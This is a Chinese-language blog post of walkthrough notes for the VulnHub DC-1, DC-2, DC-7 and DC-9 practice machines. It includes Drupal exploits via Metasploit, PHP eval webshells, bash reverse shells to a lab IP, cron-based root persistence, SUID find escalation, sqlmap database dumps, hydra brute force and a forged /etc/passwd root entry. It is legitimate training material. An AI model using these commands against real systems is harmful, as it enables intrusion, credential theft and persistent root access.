vulnhub靶机

VULNHUB靶场

环境:VM ware workstation

kali 2024

导入虚拟机网络模式修改为NAT模式

image-20240714143105739

反弹shell

最后是一个单引号加双引号

DC-1

DC-1靶场搭建及渗透实战详细过程(DC靶场系列)-CSDN博客

Vulnhub靶场渗透测试系列DC-1(Drupal漏洞)_drupal漏洞 vulhub-CSDN博客

Flag1

sudo arp-scan -l 扫描地址,131为我们的靶机目标

image-20240714120431413

db_nmap -v -sS 192.168.67.131

扫描端口开放20.80.111三个端口

image-20240714120729110

80端口开放http服务

进入网页

image-20240714120902478

使用wappalyzer查看网页指纹(其他方法参考链接

image-20240714121111570

或者对主机进行完整扫描

db_nmap -v -A 192.168.67.131

也可以扫描到80端口及其所使用的服务版本

image-20240714122126755

Drupal Drupalgeddon 2 远程执行代码漏洞 (CVE-2018-7600) - RichardYg - 博客园 (cnblogs.com)

百度搜索Drupal可能存在的漏洞,记住版本,和使用的操作系统

在Metasploit中搜索unix平台Drupal

search drupal platform:unix

image-20240714122636119

image-20240714123004661

只设置rhost即可

image-20240714123143159

进入meterpreter,ls查看文件

image-20240714123308544

flag文件就在目录下,cat抓取即可获知内容

每个好的CMS需要配置文件,你也一样

Flag2

我们打开web.config

image-20240714124034633

不要显示映射到目录的 URL 的目录列表。

没有获得什么提示

百度Drupal配置文件

image-20240714125005352

cd进入

image-20240714125114563

暴力破解和字典攻击不是获得访问权限的唯一方法(您将需要访问权限)。
您可以使用这些凭据做什么?

Flag3

$databases = array (
  'default' => 
  array (
    'default' => 
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

使用命令shell拿到shell,然后再使用命令

python -c 'import pty; pty.spawn("/bin/bash")'

获取一个交互式shell

获得了数据库的账号密码,前面提示我们权限不够,先进入数据库

image-20240714125537771

image-20240714130114219

use drupaldb 查看user表中的数据

image-20240714130301676

image-20240714130443368

密码是加密过的,我们不能直接获取密码

方法一:修改密码

要获取加密后的结果存入pass列中才可以修改密码

我还是不太懂他们怎么找到的加密脚本,反正我是百度

image-20240714131646267

/var/www/scripts/password-hash.sh

先贴个目录

代码使用php脚本编写并可以直接执行

php /var/www/scripts/password-hash.sh hacker

密码修改为hacker

如果进入/var/www/scripts目录下执行会报错

image-20240714131959555

必须在www目录下

image-20240714132318582

password: hacker                hash: $S$DbYiDxN82smpZjC.H1YUg42FpyJU0eJLpJGQJ89yl.AKlr6fRgzb

SQL UPDATE 语句 | 菜鸟教程 (runoob.com)

SQL UPDATE 语法

UPDATE table_name
SET column1 = value1, column2 = value2, ...
WHERE condition;
参数说明:
  • table_name:要修改的表名称。
  • column1, column2, ...:要修改的字段名称,可以为多个字段。
  • value1, value2, ...:要修改的值,可以为多个值。
  • condition:修改条件,用于指定哪些数据要修改。
构建语句

两个密码都修改为hacker

update users set pass = "$S$DbYiDxN82smpZjC.H1YUg42FpyJU0eJLpJGQJ89yl.AKlr6fRgzb" WHERE uid = 1 or uid = 2;

修改完成

方法二:添加用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

search sploit drupal

然后看一下那个脚本path

search sploit 34992.py -p

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/l2872253606/article/details/125463013

登陆后有文件上传部分,只可以上传图片(思考,也许可以做个图片马

image-20240714134625446

image-20240714134837023

特殊的 PERMS 将帮助FIND密码 - 但您需要执行该命令才能弄清楚如何获取阴影中的内容。

Flag4

image-20240714135418902

image-20240714140220306

提示我们找到root的flag

Flag5

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

image-20240714140758797

find在/usr/bin目录下具有root权限,看到find就在其中,那就比较简单了。直接使用find提权

find -name 'fin*' -exec “/bin/bash” {} \;

-exec rm 执行rm命令

{} find查找出来的文件

\ 做转义

; 结束符

image-20240714140537888

image-20240714140640172

DC-2

Flag1

扫描靶机IP

image-20240714142416823

完整扫描靶机IP

image-20240714143448806

image-20240714144302308

image-20240714144251856

301状态码永久重定向到

http://DC-2,而这个域名DNS无法解析,所以我们添加本地DNS域名解析服务

修改kali

/etc目录下hosts文件

添加192.168.67.132 dc-2

此处我的虚拟机重启了,IP地址均已发生了变更

image-20240715081531795

image-20240715081748495

Flag 2

使用DIRB扫描网站目录

http://DC-2

image-20240715083334064

image-20240715083412540

image-20240715083536918

DC-3

DC-4

DC-5

DC-6

⭐DC-7

靶机8 DC-7(过程超详细)_dc-7靶场-CSDN博客

Vulnhub靶机实战——DC-7_dc-7下载-CSDN博客

Drush初学者指南:Drupal Shell_drush命令-CSDN博客

信息获取

image-20240715084443496

开机有IP提示,就不自己扫网络获取IP地址了

获取服务和开放端口,以及网页指纹

要扫的话就使用

arp- scan -l

扫描本机所在网络所有IP

db_nmap -v -A 192.168.67.133

image-20240715084841928

image-20240715084920571

提示,盒子外面

image-20240715084938071

采用Drupal-8框架

扫描网站目录

dirb http://192.168.67.133 -r -o dirdb_DC_7

把扫描结果保存到dirdb_DC_7文件中

+ ⭐://192.168.67.133/admin (CODE:403|SIZE:8816)#直接进入admin会被403 Forbidden
+ http://192.168.67.133/Admin (CODE:403|SIZE:8816)
+ http://192.168.67.133/ADMIN (CODE:403|SIZE:8816)
+ http://192.168.67.133/batch (CODE:403|SIZE:8816)
==> DIRECTORY: http://192.168.67.133/core/
+ http://192.168.67.133/index.php (CODE:200|SIZE:8749)
+⭐ http://192.168.67.133/install.mysql (CODE:403|SIZE:302)#403 Forbidden
+ http://192.168.67.133/install.pgsql (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.67.133/modules/
+ http://192.168.67.133/node (CODE:200|SIZE:8701)
==> DIRECTORY: http://192.168.67.133/profiles/
+ ⭐://192.168.67.133/robots.txt (CODE:200|SIZE:1594)#没有有用信息
+ http://192.168.67.133/Root (CODE:403|SIZE:293)
+ http://192.168.67.133/search (CODE:302|SIZE:376)
+ http://192.168.67.133/Search (CODE:302|SIZE:376)
+ http://192.168.67.133/server-status (CODE:403|SIZE:302)
==> DIRECTORY: http://192.168.67.133/sites/
==> DIRECTORY: http://192.168.67.133/themes/
+ http://192.168.67.133/user (CODE:302|SIZE:372)
+ http://192.168.67.133/vendor (CODE:403|SIZE:295)
+ ⭐⭐://192.168.67.133/web.config (CODE:200|SIZE:4555)#没有有用信息

开始攻击

metasploit搜索攻击

msf6 > search drupal#搜索drupal相关漏洞

image-20240715085149709

支持linux的 Drupal 8.x版本,经过尝试注入失败

image-20240715090040261

Drupal登录页面提示DC-7的用户和密码

既然是在盒子外面,Flag1的提示意思是我们不能只在虚拟机里面找答案

image-20240715093840981

image-20240715093908735

搜索有一个github的界面,我们进入DC7user的github

密码在config.php中

image-20240715094246144

servername是指:用于设置服务器的请求方案、主机名和端口,以唯一标识虚拟主机

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>
尝试登陆网页

要求主机名为Localhost

抓包登陆链接到burp site

修改host仍然登陆不上,说明不是网页账号密码

尝试远程连接DC-7

之前提示过登陆页面是DC7的账号和密码,同时ssh端口20开放

xshell远程连接

设置主机和账号名

连接成功

尝试登陆数据库

数据库登不上

image-20240715102744611

尝试提权

/user/bin目录下有find命令,尝试使用find命令提权

find -name '1' -exec '/bin/bash'{} \;

image-20240715101218318

不能直接获得bash

image-20240715095343065

尝试获取网站备份文件

ssh远程登陆,ls发现有bakeup备份文件,进去发现两个gpg格式文件

百度搜索gpg命令是用来加密文件的,加密后的文件都是乱码

尝试mbox文件

cat打开mbox文件发现是一个计划任务,定时备份,并发现备份执行的源码在/opt/scripts目录下

image-20240715095851586

查看脚本
cat /opt/scripts/backups.sh

image-20240715101813723

www-data组用户可以修改,所有者是root

image-20240716123754429

drush命令执行

进入网站根目录下

drush user-password admin --password="admin"

Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal。它是一个非常有用的工具,可以帮助您使用终端中的一两个命令执行各种管理任务,取代了在 UI 中进行许多点击和页面刷新。

image-20240715102437649

image-20240715102559959

image-20240715102626887

居然可以直接执行,修改完密码登陆进去

可以上传图片

尝试上传图片马用蚁剑连接(不行)

先上传一个图片看看路径

image-20240715104409245

反弹shell

反弹shell汇总,看我一篇就够了-CSDN博客

PHP代码实现反弹shell_php反弹shell代码-CSDN博客

例子:

攻击者:nc -lvp 9999

受害者:bash -i >& /dev/tcp/192.168.239.128/9999 0>&1

图片马制作

我们制作的图片马是用蚁剑连接因此不需要这么写,但是要搞清楚原理

<?php @eval($_POST['jingyifei']);?>

先写一个非常简单的一句话木马

记得把安全软件先关掉

命名为backdoor.php,上传失败,尝试绕过

前端绕过

应该不会这么简单,没有试过

后缀名绕过

改名为backdoor.jpg

image-20240715105521808

发现是白名单因此也不可以使用压缩包,黑名单双写等方式绕过

文件头绕过

【文件上传绕过】——后端检测_文件头检测漏洞_【中核检测】【文件】-CSDN博客

注意:下面的文件头的格式是16进制的格式:

GIF:47 49 46 38 39 61
png:89 50 4E 47 0D 0A 1A 0A
JPG:FF D8 FF E0 00 10 4A 46 49 46

image-20240715110645414

使用ultra edit/C32Asm编辑16进制文件

添加GIF头并修改后缀名,上传成功

image-20240715110826494

蚁剑连不上,下载网页图片查看,发现被修改过

当然也可能是因为

⭐重要提示

drupal8不再支持直接运行php反弹,需要将php作为模块安装

image-20240715111526356

图片渲染绕过

查看两张图片16进制文件找到没有被修改的部分,发现全部被修改,放弃上传头像

扩展知识:
  • 合并图片马
  • 条件竞争子母木马

本题不会删除木马没有安全检测,无需子母木马

原理是网站会进行安全检测上传的图片,但是上传后到检测删除期间有一定的时间差,在此期间我们一直不断访问该文件,即可执行图片内的php木马

例如:

image-20240715111831336

xshell上传文件

上传根目录失败,上传刚刚的图片路径也失败了,没有权限,创建文件,修改文件均没有权限

我们刚刚扫描出来的目录core,profile,sites,themes也没有读写权限

尝试find提升权限,写错目录了,原来目录不能更改
find -name '1' -exec vi 'hacker.php'{} \;

创建成功hacker.php

修改内容为

<?php @eval($_POST['jingyifei']);?>

image-20240715114819817

蚁剑连接

利用网页身份文件上传

image-20240715115348938

add content

添加文件内容,命名为hacker.php,需要先安装php模块才可以修改文件类型,建议先开下面的安装

<?php @eval($_POST['jingyifei']);?>
给网站安装php模块

php模块

进到 ~ 目录下上传php模块文件,并解压

直接网站上传

image-20240715121253100

image-20240715121333566

打开php模块文件类型

image-20240715121648983

把hacker.php文件类型修改为php然后使用蚁剑连接

image-20240715121913282

新问题

发现路径ip/node/4连不上,是文件类型更改时候把内容也变更了,回去更改文件内容为合适的php语法格式

蚁剑连接获得www-data权限方式方式1

image-20240715122400062

连接成功但是还是没有root权限,但是有www-data的权限

image-20240716091502213

打开修改密码的脚本

bash -i >& /dev/tcp/192.168.67.128/3030 0>&1

添加一行

监听3030端口

即可获得root权限

实现反弹shell获得www-data权限方式2
  • kali监听2024端口

image-20240715123320220

  • 靶机php执行反弹shell

    bash -i >& /dev/tcp/192.168.67.128/2024 0>&1
    
    
这条命令的含义是尝试在目标机器上建立一个反向 shell 到指定的 IP 地址和端口。让我们逐步解释每个部分的作用:

bash -i >& /dev/tcp/192.168.67.128/2024 0>&1


1. `bash -i`: 这部分启动一个交互式的 Bash shell。
   - `-i`: 表示交互式,即使在非交互式的环境中也能够使用。

2. `>& /dev/tcp/192.168.67.128/2024`: 这部分尝试将标准输出 (stdout) 和标准错误 (stderr) 重定向到指定 IP 地址 `192.168.67.128` 的端口 `2024` 上的 TCP 连接。
   - `>&`: 这是一个简写,用于同时重定向 stdout 和 stderr。
   - `/dev/tcp/192.168.67.128/2024`: 在 Bash 中,可以使用 `/dev/tcp/hostname/port` 的路径格式来打开一个到指定主机和端口的 TCP 连接。

3. `0>&1`: 这部分将标准输入 (stdin) 重定向到与标准输出相同的位置(也就是之前重定向到的 TCP 连接)。
   - `0`: 表示标准输入。
   - `>&1`: 将标准输入重定向到与标准输出相同的地方。

### 命令的作用:

这条命令的目的是在远程主机上启动一个 Bash shell,并将其输入输出重定向到一个 TCP 连接,从而使攻击者可以在目标机器上执行命令并与其进行交互。这种技术通常用于渗透测试和安全评估,用来演示系统和网络的漏洞。

### 注意事项:

- **防火墙**: 确保目标机器(`192.168.67.128`)的防火墙允许在端口 `2024` 上接收连接。
- **替代方法**: 在某些系统和配置中,`/dev/tcp` 可能不可用或不被允许使用。此时可能需要使用类似 `nc` (Netcat) 或 `socat` 的工具替代。
- **安全和法律问题**: 在未经授权和合法许可的情况下使用这种技术是非法和不道德的。在使用这类技术之前,务必获得适当的授权和许可。

这条命令常用于安全专家测试网络和系统的安全性,同时也提醒我们在使用这类技术时需遵守法律和道德准则,确保不会对他人或组织造成未经授权的损害。

在php文件中写

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.67.128/2024 0>&1'");?>

image-20240715124522049

直接获得了交互式shell但是我们的身份是www-data,比dc7user高了一级,没有root权限

利用www-data权限,把交互式shell写入到backup.sh中,就是一开始加密的那个即可获得root反弹shell

在kali中监听3030端口

php -r 'exec("/usr/bin/bash -i >& /dev/tcp/192.168.67.128/3030 0>&1");'

python -c 'import pty; pty.spawn("/bin/bash")'

echo "bash -i >& /dev/tcp/192.168.67.128/3030 0>&1" >> backups.sh
echo "bash -c 'bash -i >& /dev/tcp/192.168.67.128/3030 0>&1'" >> backups.sh

如果存在 -c 选项,则从第一个非选项参数 com‐ 中读取命令
mand_string。 如果command_string后有参数,则第一个参数将分配给
$0 和任何剩余的参数都分配给位置参数。 分配给 $0

等待root自己定时执行脚本

获取root权限执行,进入/root目录下获得flag

image-20240715133023693

root直连后门

不能直接访问,不能路径穿越

/var/www/html

echo "<?php @eval($_POST['jingyifei']);?>" > hacker.php
echo "<?php @eval($_POST['jingyifei']);?>" >>index.php

image-20240715134258864

crontab -e可以查看并修改配置文件

* * /3 * * 定时任务表示多久执行一次 - CSDN文库

image-20240716094255134

创建一个反弹shell脚本并定时执行

/opt/scripts目录下

shell运行

echo 'bash -i >& /dev/tcp/192.168.67.128/1145 0>&1' > hacker.sh

image-20240716095445016

备份脚本15分钟执行一次

直接编辑文件没用

在/var/spool/cron/crontabs目录下实现:

一分钟反弹一次shell,监听1999端口

echo "*/1 * * * * /opt/scripts/hacker.sh" >> root

linux文件改名

mv /usr/bin/hacker.sh /usr/bin/hackers.sh

替换字符串

sed  -i 's/mirrorlist=/#mirrorlist=/g' CentOS-Base.repo

DC-8

⭐DC-9

信息获取

进入到ip地址

看样子应该是数据库SQL注入

展示记录页面

image-20240715134826012

搜索界面可以搜索姓名或者姓氏
Manage界面可以登陆管理
对主机db_map完整扫描,只有80端口开放服务,不允许ssh连接
扫描网站目录
dirb http://192.168.67.134 -r -o dirb_DC_9

image-20240715135831730

没什么有用的路径,看来确实是SQL注入

抓包到burpsite中查看传递参数,因为没有拼接链接应该是POST传递参数

image-20240715140930613

参数名叫search

开始攻击

手动尝试

image-20240715141418993

转换为URL编码发送,burpsite自带,右键转换选中内容即可

发现返回值为0

and 1=1返回值仍然为0

1' or 1=1# 出现用户数据

截断,或后面条件为真则全部列出,#用来注释掉后面的语句

存在SQL注入漏洞

SQLmap进行扫描

–batch

使用方法:python sqlmap.py -u URL --batch
使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no),执行默认操作,不需要用户再输入

爆库名
sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -dbs

image-20240715143437157

user数据库
爆表名
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -tables

image-20240715143840849

爆数据
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails -dump

image-20240715162215053

staff数据库
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -tables
爆表名

image-20240715144231464

爆数据
sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -T StaffDetails -dump

image-20240715144910551

员工信息,没用

sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D Staff -T Users -dump

image-20240715144734133

解密密码

admin的password经过加密,看起来像MD5加密,经过查询

856f5de590ef37314e7c3bdf6f8a66dc

image-20240715145218214

密码为transorbital1

appscan

获得密码可以进行appscan扫描

image-20240715155015534

继续登陆

登陆后获得一个add record的选项

image-20240715145353846

文件包含与远程执行

image-20240715145528988

这里包含了一个文件,推测存在文件包含漏洞

F12审计页面元素发现没有直接包含链接

试着传递file参数

image-20240715150629135

百度搜索,是敲门服务(为啥啊

敲门服务

knock:端口敲门服务 - f_carey - 博客园 (cnblogs.com)

image-20240715152707831

[options] 
		UseSyslog 			
[openSSH] 	
		sequence = 7469,8475,9842   # 打开ssh 22访问的三个操作端口 ;
		seq_timeout = 25 
		command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT  # //-i 命令是将规则插入到最前面,最先生效,以防止过滤所有端口的情况将此条规则吃掉
		tcpflags = syn 
			
[closeSSH] 
		sequence = 9842,8475,7469  	# 关闭ssh 22访问的三个操作端口
		seq_timeout = 25 
		command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT # //SSH使用完后,再将22端口“保护”起来
		tcpflags = syn 
###################################################################################################################
解释:

Options:你可以在此字段中找到knockd的配置选项。正如你在上面屏幕截图中所看到,它使用syslog进行日志记录。

OpenSSH:该字段包括序列、序列超时、命令和tcp标志。

Sequence:它显示可由客户软件用作启动操作的模式的端口序列(打开ssh 或者关闭ssh,,关闭操作的端口序列跟 打开操作的序列相反。)。

Sequence timeout:它显示分配给客户端以完成所需的端口试探序列的总时间。

command:这是一旦客户软件的试探序列与序列字段中的模式,执行的命令。 TCP_FLAGS:这是必须针对客户软件发出的试探设置的标志。如果标志不正确,但试探模式正确,不会触发动作。

依次访问 打开操作的端口序列 7469、8475、9842 完成“敲门”操作,就可以用ssh登录了
###################################################################################################################
可以使用以下三条命令挨个敲击端口
nmap -p 7469 172.66.66.139
nmap -p 8475 172.66.66.139
nmap -p 9842 172.66.66.139
#但是因为有超时限制,加快命令的输入速度也可以写个python的 for in 循环来访问,如下:
for x in 7469 8475 9842;do nmap -Pn --max-retries 0 -p $x 192.168.26.137;done
File does not exist
[options] UseSyslog [openSSH] sequence = 7469,8475,9842 seq_timeout = 25 command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 9842,8475,7469 seq_timeout = 25 command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn

开启SSH服务

所以需要依次访问7469,8475,9842端口开启ssh服务

knock 192.168.67.134:7469
knock 192.168.67.134:8475
knock 192.168.67.134:9842

或者

nmap -p 7469 192.168.67.134
nmap -p 8475 192.168.67.134
nmap -p 9842 192.168.67.134

挨个破解用户

sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails  -C username -dump > 1.txt 

保存到DC-9username.txt然后修改为

image-20240715155140974

对密码执行同样操作

sqlmap -u "http://192.168.67.134/results.php" -data "search=1" -D users -T UserDetails  -C password -dump > ./Desktop/DC-9userpassword.txt 

image-20240715155457751

将我们上面获取到的账号和密码分别保存到两个文件中,使用hydra尝试进行ssh登录,看那个账号支持ssh登录

Hydra(九头蛇)工具使用(非常详细)从零基础入门到精通,看完这一篇就够了。_hydra工具-CSDN博客

hydra -L DC-9username -P DC-9password ssh://192.168.67.134

image-20240715155800922

image-20240715161155237

SSH 用户@主机   #登陆

登陆所有账户都检测是否有root权限或sudo权限

第三个账户内有隐藏文件夹secrets(秘密

image-20240715163457091

进入后获取新的txt文件,添加到我们的密码字典

再次用九头蛇爆破

获得新的账号和密码

image-20240715163859715

image-20240715164058141

该用户拥有sudo权限

sudo -l发现test文件有root权限

sudo

参数说明

  • -V 显示版本编号
  • -h 会显示版本编号及指令的使用方式说明
  • -l 显示出自己(执行 sudo 的使用者)的权限
  • -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
  • -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
  • -b 将要执行的指令放在背景执行
  • -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
  • -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
  • -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
  • -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
  • command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令

fredf密码 B4-Tru3-001待会经常用

image-20240715164422004

cat test.txt | iconv -f GBK -t UTF-8

cat文件并转码,不行

在kali系统执行命令将文件下载下来

通过 SSH 在远程和本地系统之间传输文件的 4 种方法_ssh传输文件-CSDN博客

scp fredf@192.168.67.134:/opt/devstuff/dist/test/test .

可执行程序

返回到/opt/devstuff路径发现有test.py脚本

scp fredf@192.168.67.134:/opt/devstuff/test.py .

image-20240715170201537

查看脚本内容

发现作用是把一个文件写入另一个文件之中

利用脚本创建root用户

现在我们回到kali,使用openssl工具创建一个本地的加密用户,命令openssl passwd -1 -salt admin admin

然后把账号和密码写入/etc/password文件中

然后回到靶机,跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test1,命令echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test1
然后使用命令sudo ./test /tmp/test1 /etc/passwd使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

su admin切换用户admin

cd /root

cat *.txt

image-20240715170747496

文件上传参考资料

国光的文件上传靶场知识总结 | 国光 (sqlsec.com)

SQL注入参考链接

【超详细版】SQL注入原理及思路绕过(看这篇就够了)_sql注入order by绕过-CSDN博客

【SQL注入】Sqlmap使用指南(手把手保姆版)持续更新_sqlmap使用命令-CSDN博客

御林 10 - BUGCATCAPOO - 博客园 (cnblogs.com)这个是我去年写的乱七八糟的博客,没什么参考价值

posted @ 2024-12-12 20:58  BUGCATCAPOO  阅读(15)  评论(0编辑  收藏  举报